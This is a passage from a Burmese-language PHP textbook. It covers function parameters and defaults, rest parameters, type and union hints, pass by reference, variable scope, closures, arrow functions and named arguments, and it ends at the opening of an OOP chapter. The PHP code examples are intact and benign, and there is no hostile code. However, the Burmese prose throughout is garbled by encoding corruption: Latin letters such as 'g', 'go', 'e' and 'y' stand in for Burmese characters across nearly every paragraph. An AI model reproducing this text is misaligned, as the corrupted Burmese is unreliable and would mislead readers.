ကြေoာ်gပခိုင်းထားgခင်း မရှိလုိပ့ါ။ ဒုတိယတစ်ခုကျကြေတာ့မှ echo နဲ့ ရလဒ်ကို ကြေoာ်gပကြေစလုိ့ 3 ကို ရလဒ်အကြေနနဲ့
ကြေတွ့ gမင်ရမှာ goစ်ပါတယ်။

Parameter  ကြေတွမှာ  Default  Value  သတ်မှတ်ကြေပးထားလုိလ့ည်း  ရနိုင်ပါတယ်။  ဒီလုိသတ်မှတ်ကြေပးထား
မယ်ဆိုရင်ကြေတာ့ Function  ကြေခါ်ယူတဲ့အခါ အ့ဲဒီ  Parameter  အတွက်  Argument  ပါမလာခဲ့ရင် သတ်မှတ်
ထားတဲ့ Default Value ကို သုံးကြေပးသွားမှာပါ။

 PHP 

<?php

function add($a, $b = 0) {
   echo $a + $b;
}

add(1, 2);     // 3
add(9);        // 9

နမူနာအရ  add() Function  မှာ  $a နဲ့  $b ဆိုပြပီး  Parameter  နှစ်ခုရှိပါတယ်။  $b အတွက်  Default
Value  အgoစ်  0  လုိသ့တ်မှတ်ကြေပးထားပါတယ်။  ဒါကြေeကာင့်  add(1, 2) လုိ့  ကြေခါ်ယူလုိက်တဲ့အခါ  $a
တန်oုိး 1 goစ်သွားပြပီး $b တန်oုိး 2 goစ်သွားလုိ့ ရလဒ်အကြေနနဲ့ 3 ကို ကြေတွ့gမင်ရတာပါ။ add(9) လုိ့ ကြေခါ်တဲ့
အခါ  Argument  မgပည့်စံုကြေပမယ့်  Error  မတက်ကြေတာ့ပါyူး။  $a တန်oုိး  9  goစ်သွားပြပီး  $b တန်oုိးမပါလုိ့
Default Value goစ်တဲ့ 0 ကို အသုံးgပု အလုပ်လုပ်ကြေပးသွားမှာမုိ့လုိ့ goစ်ပါတယ်။

PHP မှာ Rest Parameter ကြေရးထုံးလည်း ရှိပါကြေသးတယ်။ ဒီလုိပါ –
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 PHP 

<?php

function add($a, ...$b) {
   print_r($b);
}

add(1, 2, 3, 4);

// Array ( [0] => 2 [1] => 3 [2] => 4 )

နမူနာအရ  $b Parameter  ဟာ  Rest  Parameter  တစ်ခုgoစ်လုိ့  ပါဝင်လာတဲ့  Argument  အားလုံးကို
လက်ခံထားကြေပးမှာပါ။ add(1, 2, 3, 4) လုိ့ကြေခါ်လုိက်တဲ့အခါ $a တန်oုိး  1 goစ်သွားပြပီး ကျန်တဲ့  2,
3, 4 အားလုံးဟာ $b ထဲမှာ Array တစ်ခုအကြေနနဲ့ ကြေရာက်ရှိသွားတယ်ဆိုတာကို ကြေတွ့ ရမှာပဲ goစ်ပါတယ်။

အရင်တံုးက PHP မှာ Rest Parameter ကြေရးထုံးမရှိပါyူး။ အ့ဲဒီလုိ မရှိချနိ်ကဆိုရင်ကြေတာ့ အခုလုိ ကြေရးခဲ့eကရ
ပါတယ်။

 PHP 

<?php

function add() {
   $args = func_get_args();
   print_r($args);
}

add(1, 2, 3, 4);

// Array ( [0] => 1 [1] => 2 [2] => 3 [3] => 4 )

func_get_args() လုိ့ကြေခါ်တဲ့  Standard Function  ကိုသုံးပြပီး  Argument  စာရင်းကို  ရယူခဲ့eကရတာ
ပါ။  အခုကြေတာ့  မလုိအပ်ကြေတာ့ပါyူး။  ပုိကြေကာင်းတဲ့  Rest  Parameter  ကြေရးထုံးရှိသွားပါပြပီ။  ပကြေရာင်္ဂျက်
အကြေဟာင်းကြေတွနဲ့  ကုဒ်နမူနာ အကြေဟာင်းကြေတွမှာ  func_get_args() ကိုသုံးပြပီး  ကြေရးထားတာ ကြေတွ့ရင်
yာကိုဆိုလုိတာလည်း သိကြေအာင်သာ ထည့်ကြေgပာလုိက်တာပါ။
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PHP  Function  ကြေတွကြေeကညာတဲ့အခါ  Parameter  ကြေတွကို  Type  Hint  လုပ်ပြပီးလက်ခံလုိရ့ပါတယ်။  ဒါ
ကြေeကာင့်  Function  ကြေခါ်ယူတဲ့အခါ သတ်မှတ်ထားတဲ့  Type  နဲက့ိုက်ညီတဲ့  တန်oုိးကိုသာ ကြေပးလုိရ့ကြေတာ့မှာ
ပါ။ ဒါဟာ PHP 7 မှာ စတင်ပါဝင်လာတဲ့ အလွန်အကြေရးပါတဲ့ လုပ်ကြေဆာင်ချက် goစ်ပါတယ်။ 

 PHP 

<?php

function add($nums) {
   return array_sum($nums);
}

echo add(1, 2);

// Error: array_sum(): Argument must be array

ဒီနမူနာမှာ add() Function ကိုကြေခါ်တဲ့အခါ Array ကို Argument အကြေနနဲ့ ကြေပးoုိလုိ့အပ်ပါတယ်။ ဒီကြေတာ့
မှ အလုပ်လုပ်ပံုမှန်မှာပါ။ နမူနာမှာ ရုိးရုိး Integer ကြေတွကြေပးထားတဲ့အတွက် Error တက်ပါတယ်။ Function
ကြေခါ်တဲ့အချနိ်မှာ တက်တာမဟုတ်ပါyူး။  Function  ထဲက array_sum() ကိုအလုပ်လုပ်ချနိ်ကျကြေတာ့မှ
တကတ်ာပါ။ ဒီ  Error  ကို eကည့်လုိက်ရင်  array_sum() ကိုကြေခါ်ရင်  Array  ကိုကြေပးရမယ်လုိ့ ကြေgပာကြေနပါ
တယ်။ တစ်ကယ်တမ်း Function ကြေခါ်တာက array_sum() ကိုကြေခါ်ကြေနတာ မဟုတ်ပါyူး။ add() ကို
ကြေခါ်ကြေနတာပါ။ Error က မတိကျပါyူး။ Function ကြေခါ်တဲ့သူက "yာကြကီးလဲ၊ ငါကြေခါ်တာ   add()     ကြေလ yာ  
goစ်လုိ့   array_sum()   Error   တက်ကြေနတာလဲ  " ဆိုပြပီး ကြေခါင်းစားသွားနိုင်ပါတယ်။ အခုက နမူနာကုဒ်ကြေလး
မုိလုိ့သ့ာ  gမင်သာတာပါ။  တစ်ကယ့်  ပကြေရာင်္ဂျက်ကြေတွမှာ  Function  ကြေတွကို  အဆင့်ဆင့်  ချတိ်ဆက်ကြေခါ်
ယူထားeကမှာ goစ်လုိ့  yာကြေeကာင့်  Error  goစ်ကြေနတဲ့  အကြေgoရoုိအ့တွက် အဆင့်ဆင့် လုိက်ရှာရကြေတာ့မှာပါ။
အချနိက်ြေတွကုန်သလုိ စိတ်ညစ်စရာလည်း ကြေကာင်းပါတယ်။ ဒီကုဒ်ကိုပဲ အခုလုိ gပင်ကြေရးလုိက်နိုင်ပါတယ် –

 PHP >= 7.0 

<?php

function add(Array $nums) {
   return array_sum($nums);
}

echo add(1, 2);
// Error: add(): Argument must be array
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Function  ကြေeကညာစဉ်မှာ  လက်ခံမယ့်  Parameter  ဟာ  Array  goစ်ကြေeကာင့်  Hint  လုပ်ကြေပးလုိက်တာပါ။
Scalar Type Hinting လုိ့ကြေခါ်ပါတယ်။ ဒီဥပမာမှာလည်း ကြေခါ်ယူပံု မမှန်လုိ့ Error တက်တာပါပဲ။ ဒါကြေပမယ့်
Error  က တိကျသွားပါပြပီ။  add() ကိုကြေခါ်တဲ့အခါ  Array  ကို  Argument  အကြေနနဲ့  ကြေပးရမယ်ဆိုတဲ့  Error
goစ်သွားလုိ့  အကြေeကာင်းရင်းက ရှင်းသွားပါတယ်။ ဒါကြေeကာင့် ဒီ  Type Hinting လုပ်ကြေဆာင်ချက်ဟာ အလွန်
အကြေရးပါတယ်လုိ့ ကြေgပာတာပါ။ ကုဒ်ကြေတွထဲမှာ Error ရှိလာတဲ့အခါ ပုိပြပီးကြေတာ့ အမှားရှာရလွယ်ကူ gမန်ဆန်
သွားကြေစမှာ goစ်ပါတယ်။

Return Type Hinting လုပ်ကြေဆာင်ချက်လည်း ရှိပါကြေသးတယ်။ ဒီလုိပါ –

 PHP 

<?php

function add(Array $nums): float {
   echo array_sum($nums);
}

add([1, 2]);

// Error: add(): Return value must be float

Function ဝုိက်ကွင်းအပိတ်နဲ့ တွန့်ကွင်းအစ eကားထဲမှာ Colon ကြေလးခံပြပီး Return Type ကို သတ်မှတ်ကြေပး
ရတာပါ။ ဒီနမူနာမှာ  Function  ရဲ့  Return Value  ဟာ  float goစ်ရမယ်လုိ့ သတ်မှတ်ထားပါတယ်။ ဒါ
ကြေeကာင့်  Array  ကို  Argument  အကြေနနဲ့ကြေပးပြပီး  ကြေခါ်ယူအသုံးgပုထားလုိ့  အသုံးgပုပုံ  မှန်ကြေပမယ့်  Error
တက်ကြေနပါတယ်။ Function က Return gပန်ကြေပးမထားလုိ့ Return Value က NULL goစ်ကြေနလုိပ့ါ။

PHP 8 မှာကြေတာ့ Union Type လုိ့ကြေခါ်တဲ့ လုပ်ကြေဆာင်ချက် goည့်စွက်ပါဝင်လာပါတယ်။ Type Hint လုပ်တဲ့
အခါ တစ်မျ ို းထက်ပုိပြပီး Hint လုပ်လုိရ့သွားကြေစတဲ့ ကြေရးနည်းပါ။ ဒီလုိပါ –
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 PHP >= 8.0 

<?php

function price(int|float $n) {
   return "Price is \$$n";
}

echo price(3.1); // Price is $3.1
echo price(2); // Price is $2

Type Hint လုပ်စဉ်မှာ | Operator ကြေလးနဲ့ လက်ခံလုိတဲ့ Type အမျ ို းမျ ို းကို ပူးတွဲကြေeကညာလုိ့ ရတာပါ။ နမူ
နာအရ price() Function ကလက်ခံမယ့် $n Parameter ဟာ Integer သုိ့မဟုတ် Float နှစ်မျ ို းထဲက
တစ်မျ ို း yာပဲgoစ်goစ် လက်ခံအလုပ်လုပ်သွားမှာပါ။ အကယ်၍ int လုိ့ တစ်မျ ို းထဲ သတ်မှတ်ခဲ့မယ်ဆိုရင်
ဒဿမကိန်းကြေတွကို Argument အကြေနနဲ့ ကြေပးခဲ့ရင် အလုပ်လုပ်ပံု မှန်မှာ မဟုတ်ကြေတာ့ပါyူး။

နမူနာမှာ  Type  နှစ်မျ ို းကိုပူးတွဲကြေeကညာgပထားကြေပမယ့်  လက်ကြေတွ့မှာ  သံုးကြေလးမျ ို း  လုိသကြေလာက်  ပူးတွဲ
ကြေeကညာလုိရ့နိုင်ပါတယ်။ Parameter Type နဲ့ပဲ နမူနာgပထားကြေပမယ့် Return Type မှာလည်း အလားတူ
လုပ်ကြေဆာင်ချက် ရရှိနိုင်ပါတယ်။

Function ကြေတွမှာ Parameter ကြေတွကြေပးတဲ့အခါ Pass by Value နဲ့  Pass by Reference ဆိုပြပီး နှစ်မျ ို းရှိပါ
တယ်။ PHP မှာ Default   က   Pass by Value   goစ်ပါတယ်။ ဒါကြေeကာင့် Argument အကြေနနဲ့ Variable တစ်ခု
ကို ကြေပးလုိက်ရင် အ့ဲဒီ Variable ရဲ့ တန်oုိးကိုသာ ကြေပးလုိက်မှာပါ။ Variable တစ်ခုလံုးကို ကြေပးလုိက်တာမျ ို း
မဟုတ်ပါyူး။ ဒီလုိပါ –

 PHP 

<?php

$name = "Alice";
function hello($n) {
   $n = "Bob";
   echo "Hello $n";
}

hello($name);     // Hello Bob
echo $name;       // Alice
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နမူနာအရ $name Variable တစ်ခုရှိကြေနပြပီး အ့ဲဒီ $name ကို Argument အကြေနနဲ့ hello() ကိုကြေခါ်ယူစဉ်
မှာ ကြေပးလုိက်ပါတယ်။ ဒါကြေeကာင့် ကြေပးလုိက်တဲ့ $name ထဲမှာရှိကြေနတဲ့တန်oုိးgoစ်တဲ့ Alice က hello() ရဲ့
$n ထဲကို  ကြေရာက်ရှိသွားပါတယ်။  $n တန်oုိးကို  Bob  လုိ့ကြေgပာင်းတဲ့အခါ  $n တန်oုိးပဲ  ကြေgပာင်းမှာပါ။
ကြေပးလုိက်တဲ့ $name နဲ့ သက်ဆိုင်gခင်းမရှိပါyူး။ ဒါကြေeကာင့် Function ရဲ့ gပင်ပမှာ echo $name နဲ့ gပန်
ထုတ်eကည့်လုိက်တဲ့  အခါမှာလည်း မူလတန်oုိး  Alice  သာဆက်ရှိကြေနတာကို  ကြေတွ့ gမင်ရမှာgoစ်ပါတယ်။ ဒါ
ဟာ Default အလုပ်လုပ်တဲ့ပံုစံ goစ်ပါတယ်။

လုိအပ်လုိ့  Pass  by  Reference သကြေyာသyာဝမျ ို းနဲ့  ကြေရးချင်ရင်လည်း  ရပါတယ်။  အ့ဲဒီလုိဆိုရင်ကြေတာ့
Variable  တစ်ခုကို  Argument  အကြေနနဲ့ကြေပးလုိက်ရင်  Variable  ကြကီးတစ်ခုလံုးကို  ချတိ်ကြေပးလုိက်တာပါ။ ဒါ
ကြေeကာင့် Function   အတွင်းထဲမှာ၊ အ့ဲဒီ   Variable   ကြေပါ်မှာ gပုလုပ်သမျှ အကြေgပာင်းအလဲကြေတွက မူလ   Variable  
ကြေပါ်မှာလည်း သက်ကြေရာက်သွားမှာ goစ်ပါတယ်။

 PHP 

<?php

$name = "Alice";

function hello(&$n) {
   $n = "Bob";
   echo "Hello $n";
}

hello($name);     // Hello Bob
echo $name;       // Bob

Parameter  မှာ  &  သကြေက[တကြေလး ပါသွားတာပါ။  ဒါဟာ  Reference Operator  goစ်ပါတယ်။ ဒါကြေeကာင့်
hello() ကိုကြေခါ်ယူစဉ်မှာ $name ကိုကြေပးလုိက်တဲ့အခါ Variable တစ်ခုလံုးကို ချတိ်ကြေပးလုိက်တာပါ။ ဒါ
ကြေeကာင့် Function ထဲမှာ $name ကို လက်ခံယူတဲ့ $n တန်oုိး ကြေgပာင်းတဲ့အခါ မူလ $name တန်oုိးလည်း
လုိက်ကြေgပာင်းသွားတာကို ကြေတွ့ ရမှာပဲ goစ်ပါတယ်။ 

ဒါဟာ Pass by Value နဲ ့Pass by Reference တိုရ့ဲ့ gခားနားချက်ပဲgoစ်ပါတယ်။ 
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PHP Function ကြေတဟွာ Global Scope goစ်ပါတယ်။

 PHP 

<?php

function one() {
   $name = "One";
}

one();
echo $name;

// Warning: Undefined variable $name

နမူနာအရ one() Function ရဲ့အတွင်းမှာ ကြေeကညာထားတဲ့ $name Variable ဟာ one() Function နဲ့
သာ သက်ဆိုင်တယ် Function Local Variable goစ်ပါတယ်။ ဒါကြေeကာင့် အgပင်ကကြေန အ့ဲဒီ Variable ကိုကြေခါ်
သုံးတဲ့အခါ သုံးလုိမ့ရတာကို ကြေတွ့ရနိုင်ပါတယ်။ 

 PHP 

<?php

function one() {
   function two() {
      echo "Two";
   }
}

one();
two();   // Two

ဒီနမူနာမှာကြေတာ့ one() Function ရဲ့ အတွင်းမှာ two() Function ရှိကြေနပါတယ်။ ဒါကြေပမယ့် Function
ကြေတဟွာ yယ်နားမှာပဲကြေရးကြေရး    Global Scope    ရလုိ့   gပင်ပကကြေန ကြေခါ်သုံးတဲ့အခါ သံုးလုိရ့ကြေနတာကို ကြေတွ့
gမင်ရမှာပဲ goစ်ပါတယ်။ ဒါဟာ သတိgပုစရာ သကြေyာသyာဝတစ်ခုပါ။

ကြေနာက်ထပ်သတိgပုစရာကကြေတာ့  two() Function  ဟာ  one() Function  ထဲမှာကြေရးထားလုိ့  one()
Function  ကိုကြေခါ်လုိက်မှ  two() Function  အသက်ဝင်သွားမှာပါ။  ဒါကြေeကာင့်  ကြေပးထားတဲ့နမူနာမှာ
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one() Function  ကို  အရင်ကြေခါ်ပြပီးမှ  two() Function  ကို  ကြေခါ်ထားတာကို  ကြေတွ့ရနိုင်ပါတယ်။
အကယ်၍ one() Function ကို မကြေခါ်yဲ two() Function ကို ကြေခါ်oုိ့ကြကိုးစားရင်ကြေတာ့ Error တက်မှာ
ပါ။ one() Function အလုပ်လုပ်လုိက်မှသာ သူ့အထဲက two() Function က အသက်ဝင်မှာမုိလုိ့့ပါ။

ကြေနာက်ပြပီးကြေတာ့ ဟိုးအကြေပါ်မှာ Variable အကြေeကာင်းကြေgပာတံုးက ကြေgပာခဲ့ပြပီးသား အကြေeကာင်းအရာတစ်ခု ရှိပါ
တယ်။  Variable  ကြေတွဟာ ကြေeကညာထားတဲ့  Scope  မှာပဲ တိုက်ရုိက်သံုးလုိရ့ပါတယ်။  Global Scope  မှာ
ကြေeကညာထားတဲ့  Variable  ကို  Function  ကကြေနတိုက်ရုိက်သုံးလုိရ့မှာ မဟုတ်ပါyူး။  Global Variable  ကို
Global Scope မှာပဲ သုံးလုိရ့မှာပါ။ ဒီလုိပါ –

 PHP 

<?php

$name = "Alice";

function hello() {
   echo "Hello $name";
}

hello();
// Warning: Undefined variable $name

$name Variable  ဟာ  Global Variable  တစ်ခုgoစ်ကြေပမယ့်  Function  ရဲ့အတွင်းထဲမှာ သံုးoုိ့ကြကိုးစားတဲ့
အခါ Undefined Variable ဆိုတဲ့  Warning တက်ကြေနတာပါ။ အကယ်၍ Global Variable ကို အသံုးgပုလုိ
ရင် အသံုးgပုလုိကြေeကာင်း ကြကိုတင်ကြေeကညာပြပီးကြေတာ့မှသာ အသုံးgပုရပါတယ်။ ဒီလုိပါ။

 PHP 

<?php

$name = "Alice";

function hello() {
    global $name;
    echo "Hello $name";
}

hello(); // Hello Alice



PWD 2023 – အခန်း (၃၀) – PHP Functions 460

ဒီတစ်ခါကြေတာ့  Error  ကြေတွ  Warning  ကြေတွမတက်ကြေတာ့ပါyူး။  global Statement  နဲ့  အသုံးgပုမယ့်
အကြေeကာင်း  ကြေeကညာပြပီးမှ  အသုံးgပုလုိက်တဲ့အတွက်  အဆင်ကြေgပသွားပါတယ်။  ဒီနည်းနဲ့  Global  Variable
ကြေတွကို အသုံးgပုတဲ့အခါ ရယူအသံုးgပုယုံတင် မကပါyူး၊   Global Variable   ရဲ့ တန်oုိးကြေတွကိုလည်း ကြေgပာင်း  
လုိရ့သွားပါတယ်။ ဒီလုိပါ – 

 PHP 

<?php

$name = "Alice";

function hello() {
   global $name;
   $name = "Bob";
}

hello();

echo $name; // Bob 

နမူနာအရ မူလ $name Variable ရဲ့တန်oုိး Alice goစ်ကြေပမယ့် hello() Function က သူ့တန်oုိးကို Bob
လုိ့ ကြေgပာင်းလုိက်ပါတယ်။ ဒါကြေeကာင့် gပန်ထုတ်eကည့်တဲ့အခါ  $name ရဲ့ တန်oုိး  Bob goစ်ကြေနတာကို ကြေတွ့
gမင်ရgခင်းပဲ goစ်ပါတယ်။

PHP မှာ  Variable Function  ဆိုတဲ့ သကြေyာသyာဝတစ်ခုလည်း ရှိပါကြေသးတယ်။  Variable    ရဲ့ကြေနာက်မှာ  
ဝုိက်ကွင်းအoွင့်အပိတ် ထည့်ကြေပးလုိက်gခင်းအားgoင့် Function တစ်ခုကဲ့သုိ ့ကြေခါ်ယူနိုင်တဲ့ သကြေyာမျ ို းပါ။

 PHP 

<?php

function add($a, $b) {
   echo $a + $b;
}

$name = "add";
$name(1, 2);   // 3
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$name Variable  ထဲမှာ  add ဆိုတဲ့  String  တန်oုိးတစ်ခုရှိကြေနတဲ့အတွက်  $name() လုိ့ကြေgပာလုိက်တာ
ဟာ add() လုိ့ကြေgပာလုိက်တာနဲ့ အတူတူပါပဲ။ ဒါကြေeကာင့် add() Function အလုပ်လုပ်သွားတာကို ကြေတွ့
ရမှာပဲ goစ်ပါတယ်။ PHP မှာ Function Expression ကြေရးထုံးလည်း ရှိပါကြေသးတယ်။ Nameless Function
(သုိ့မဟုတ်) Anonymous Function လုိလ့ည်း ကြေခါ်နိုင်ပါတယ်။

 PHP 

<?php 

$nums = [1, 2, 3, 4];

function two($n) {
   return $n * 2;
}

$result = array_map("two", $nums);

print_r($result);

// Array ( [0] => 2 [1] => 4 [2] => 6 [3] => 8 )

နမူနာမှာ $nums Array ရှိပြပီး ကြေပးလုိက်တဲ့တန်oုိးကို 2 နဲ့ ကြေgမှာက်ကြေပးတဲ့ two() Function လည်းရှိကြေနပါ
တယ်။ Array ကြေတွ Loop လုပ်oုိအ့တွက် PHP မှာ လည်း map() Function ရှိပါတယ်။ array_map()
လုိ့  ကြေခါ်ပါတယ်။  ကြေရှ့ပုိင်းမှာ  Function  အကြေeကာင်း  မကြေgပာရကြေသးလုိ့  ထည့်မကြေgပာခဲ့တာပါ။
array_map() က Callback Function နဲ့  Array တိုက့ို  Parameter အကြေနနဲလ့က်ခံပါတယ်။ ဒါကြေeကာင့်
Callback  အgoစ်  two ကိုကြေပးပြပီး  Array  အgoစ်  $nums ကိုကြေပးလုိက်တဲ့အခါ အထဲကတန်oုိးကြေတွကို  2  နဲ့
ကိုယ်စီကြေgမှာက်ကြေပးထားတဲ့  $result Array  ကို  gပန်ရတာ  ကြေတွ့ gမင်ရမှာပဲ  goစ်ပါတယ်။  ဒီကုဒ်ကို
Nameless Function သုံးပြပီး အခုလုိ gပင်ကြေရးလုိက်လည်း ရနိုင်ပါတယ်။
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 PHP 

<?php

$nums = [1, 2, 3, 4];

$result = array_map(function($n) {
   return $n * 2;
}, $nums);

print_r($result);

// Array ( [0] => 2 [1] => 4 [2] => 6 [3] => 8 )

ရလဒ်က  အတူတူပါပဲ။  ကြကိုကြေရးထားတဲ့  Function  ကို  Callback  အကြေနနဲ့  မကြေပးကြေတာ့yဲ၊  Function
Expression  ကို  Callback  အကြေနနဲ့  ကြေပးလုိက်တာပါ။  Function  Expression  ကို  Variable  ကြေတွထဲမှာ
Assign လုပ်ထားလုိ့လည်း ရနိုင်ပါတယ်။

 PHP 

<?php

$two = function($n) {
   echo $n * 2;
};

$two(2);    // 4

$two Variable  ထဲမှာ  Function  ရှိကြေနတဲ့အတွက် ကြေစာကြေစာကကြေgပာခဲ့တဲ့  Variable Function  ကြေရးထုံးနဲ့
ကြေခါ်ယူအသုံးgပုလုိက်တာပါ။ ဒီလုိ Function Expression ကြေတကွြေရးတဲ့အခါ အသုံးgပုကြေစလုိတဲ့ Variable ကြေတွ
ကို use Statement နဲ ့ထည့်ကြေပးလုိက်လုိ ့ရနိုင်ပါတယ်။ ဒီလုိပါ –

 PHP 

<?php

$name = "Alice";
$hello = function() use ($name) {
   echo "Hello $name";
};
$hello(); // Hello Alice
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ကြေစာကြေစာကပဲ Global Variable ကြေတွကို Function ထဲမှာ သုံးချင်ရင် global Statement နဲ့ ကြကိုကြေgပာပြပီးမှ
သုံးလုိရ့တယ်လုိ့ ကြေgပာခဲ့ပါတယ်။ အခုကြေတာ့   global   Statement   မလုိအပ်ကြေတာ့ပါyူး။   use   Statement  
ကိုသုံးပြပီး တစ်ခါထဲ တွဲထည့်ကြေပးလုိက်လုိပ့ါ။ ဒီနည်းရဲ့ အားသာချက်ကကြေတာ့ တန်oုိးကို  Value အကြေနနဲသ့ာ
ကြေပးလုိက်တာပါ။  ဒါကြေeကာင့်  Function  အတွင်းမှာ  တန်oုိးကြေgပာင်းလုိက်လုိလ့ည်း  မူလပင်မ  Variable  မှာ
တန်oုိးကြေgပာင်းမှာ မဟုတ်ပါyူး။ ဒီလုိစမ်းeကည့်လုိရ့ပါတယ်။

 PHP 

<?php

$name = "Alice";

$hello = function() use ($name) {
   $name = "Bob";
   echo "Hello $name";
};

$hello(); // Hello Bob

echo $name; // Alice

Function အတွင်းမှာ $name တန်oုိးကို ကြေgပာင်းလုိက်ကြေပမယ့်၊ မူလ $name တန်oုိးကကြေတာ့ မကြေgပာင်းyူး
ဆိုတာကို ကြေတွ့gမင်ရတာပဲ goစ်ပါတယ်။

PHP မှာ Arrow Function ကြေရးထုံးလည်း ရှိပါကြေသးတယ်။ JavaScript ရဲ့ Arrow Function နဲ့ ကြေရးထုံးနည်း
နည်းဆင်ပါတယ်။ တူကြေတာ့ မတူပါyူး။ ဒီလုိပါ –

 PHP >= 7.4 

$two = fn ($n) => $n * 2;

echo $two(3);    // 6

fn ရဲ့ကြေနာက်မှာ  ဝုိက်ကွင်းအoွင့်အပိတ်နဲ့  Parameter  List  လုိက်ရပြပီး  သူ့ကြေနာက်ကကြေန  => သကြေက[တနဲ့
အတူ Return gပန်ကြေပးရမယ့် Expression ကို ကြေပးလုိက်ရတာပါ။ JavaScript မှာ fn မလုိပါyူး။ PHP မှာ
ထည့်ကြေပးရပါတယ်။  PHP  မှာ  => သကြေက[တကို  Array  ကြေတွမှာလည်း သုံးတဲ့အတွက်  Array  နဲ့မကြေရာကြေစoုိ့
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အတွက် ကြေရှ့ကကြေန fn ထည့်ကြေပးရတဲ့သကြေyာ goစ်မယ်လုိ့ ယူဆပါတယ်။ ပြပီးကြေတာ့ တွန့်ကွင်းအoွင့်အပိတ်
ကြေတွ ထည့်လုိ့မရတာကိုလည်း သတိgပုရပါမယ်။ ဒါကြေeကာင့် Function Statement ကြေတွ ကြေရးလုိ့ကြေတာ့ ရမှာ
မဟုတ်ပါyူး။ Expression တစ်ခုပဲ ကြေရးလုိရ့မှာပါ။

Arrow Function  ရဲ့  ကြေနာက်ထပ်ထူးgခားချက်တစ်ခုက  Global Variable  ကြေတွကို  တိုက်ရုိက် အသံုးgပုနိုင်
gခင်း goစ်ပါတယ်။ global ကြေတွ use ကြေတွ မလုိအပ်ကြေတာ့ပါyူး။ ဒီလုိပါ –

 PHP >= 7.4 

<?php

$x = 3;
$add = fn($y) => $x + $y;

echo $add(5);    // 8

Global Variable  goစ်တဲ့  $x တန်oုိးကို  Arrow Function  ရဲ့  Expression  မှာ ထည့်သုံးလုိ့  ရကြေနတာကို
ကြေတွ့ ရမှာ goစ်ပါတယ်။

Named Arguments
Function ကြေတွကြေခါ်တဲ့အခါ Arguments အစီအစဉ်ကို ကြေရှ့ကြေနာက် မှန်ကြေအာင် ကြေပးရပါတယ်။ ဒီလုိပါ –

 PHP 

<?php

function profile($name, $email, $age) {
   echo "$name ($age) @ $email";
}

profile("Alice", "alice@gmail.com", 22);

// Alice (22) @ alice@gmail.com
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နမူနာအရ profile() Function ကို ကြေခါ်ချင်ရင်  $name, $email, $age အစီအစဉ် မှန်ကြေအာင်
ကြေပးရပါတယ်။  ကြေရှ့ကြေနာက်လဲွတာနဲ့  ရလဒ်လည်း  လဲွသွားမှာပါ။  ဒါကြေeကာင့်  တစ်ချ ို ့  Argument  များတဲ့
Function ကြေတွမှာ ကြေရှ့ကြေနာက်အစီအစဉ်ကို လုိက်မှတ်ကြေနရတာ ကြေတာ်ကြေတာ် အလုပ်ရှုပ်ပါတယ်။

PHP 8 မှာကြေတာ့ Named Arguments လုိ့ကြေခါ်တဲ့ ကြေရးထုံးပါဝင်လာလုိ့ အဆင်ကြေgပသွားပါတယ်။ ကြေရှ့ကြေနာက်
အစီအစဉ် မမှတ်မိရင်လည်း ကိုယ်ကြေပးချင်တဲ့ Argument အမည်နဲတ့ွဲပြပီးကြေပးလုိက်လုိ ့ရသွားပါပြပီ။ ဒီလုိပါ – 

 PHP >= 8.0 

function profile($name, $email, $age) {
   echo "$name ($age) @ $email";
}

profile(age: 23, name: "Bob", email: "bob@gmail.com");

// Bob (23) @ bob@gmail.com

Argument အမည်နဲ့ ကြေပးချင်တဲ့ တန်oုိးကို တွဲကြေပးလုိက်တဲ့အတွက် ကြေရှ့ကြေနာက်အစီအစဉ် မှန်စရာ မလုိအပ်
ကြေတာ့ပါyူး။  အဆင်ကြေgပသွားပါပြပီ။  ကြေနာက်ဆံုးတစ်ခုအကြေနနဲ့  ကြေပးတဲ့  Argument  ကြေတွများတဲ့အခါ  နှစ်
ကြေeကာင်းသုံးကြေeကာင်းခွဲကြေရးလုိရ့တယ် ဆိုတာကြေလးကို မှတ်သားကြေစချင်ပါတယ်။ ဒီလုိပါ –

 PHP >= 7.3 

profile(
   age: 23,
   name: "Bob",
   email: "bob@gmail.com",
);

Argument (၃) ခုကို (၃) ကြေeကာင်းခွဲပြပီး ကြေရးလုိက်တာပါ။ ဒီလုိကြေရးလုိရ့ပါတယ်။ ဒီလုိကြေရးတဲ့အခါ ကြေနာက်ဆံုး
က Trailing Comma ကို Array ကြေတွမှာ လက်ခံသလုိပဲ Arguments List မှာလည်း လက်ခံတယ်ဆိုတာကို
တစ်ခါထဲ တဲွoက်မှတ်သားရမှာပါ။ ဒါဟာလည်း အသံုးဝင်တဲ့ ကြေရးထုံးတစ်ခုပဲgoစ်ပါတယ်။
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အခန်း (၃၁) – PHP OOP – Object-Oriented Programming

ပြပီးခဲ့တဲ့အခန်းမှာ  PHP  ဟာ  Object-Oriented  Language  တစ်ခု  မဟုတ်yူးလုိ့  ကြေgပာခဲ့ပါတယ်။  မှန်ပါ
တယ်။  Language  ကိုယ်တိုင်က  Procedural  Language  တစ်ခုသာ  goစ်ကြေပမယ့်၊  PHP    ကိုအသုံးgပုပြပီး  
Object-Oriented    ကုဒ်ကြေတွ  ကြေရးသားoုိအ့တွက်  gပည့်စံုတဲ့  ကြေရးထုံးကြေတွ  ပါဝင်ပါတယ်  ။  Object-Oriented
Language ပါဆိုတဲ့  JavaScript ထက်ကြေတာင် ကြေရးထုံးပုိင်းမှာ ပုိမုိ gပည့်စံုပါကြေသးတယ်။ ဥပမာ - Interface
လုိလုပ်ကြေဆာင်ချက်မျ ို းကြေတွ၊  Abstract  Class  လုိလုပ်ကြေဆာင်ချက်မျ ို းကြေတွ  JavaScript  မှာ  အခု  ဒီစာကို
ကြေရးသားကြေနချနိ်ထိ မပါဝင်ကြေသးပါyူး။ PHP မှာကြေတာ့ ဒီကြေရးထုံးကြေတွထိ အကုန်အgပည့်အစံု ရှိကြေနပါတယ်။

OOP  ကြေရးထုံး  gပည့်စံုတဲ့အgပင်၊  ကြေရးသားရလွယ်ကူပြပီး၊  အများစုရင်းနှီးပြပီးသား  ကြေရးဟန်ရှိလုိ့  OOP
အကြေeကာင်း နားလည်လွယ်ကြေအာင် ရှင်းgပလုိတဲ့အခါမှာ PHP ကို အသုံးgပုပြပီး ရှင်းgပeကတာကိုလည်း မeကာမ
eကာ ကြေတွ့ကြေနရပါတယ်။  JavaScript  လုိ  Language မျ ို းက သူ့ကြေလာက် ကြေရးထုံး မgပည့်စံုပါyူး။  Java  လုိ
Language မျ ို းက ကြေရးထုံးပုိင်း တင်းeကပ်လုိ့ ကြေရးရခက်ပါတယ်။ Python လုိ Language မျ ို းက တစ်ချ ို ့ကြေတွ
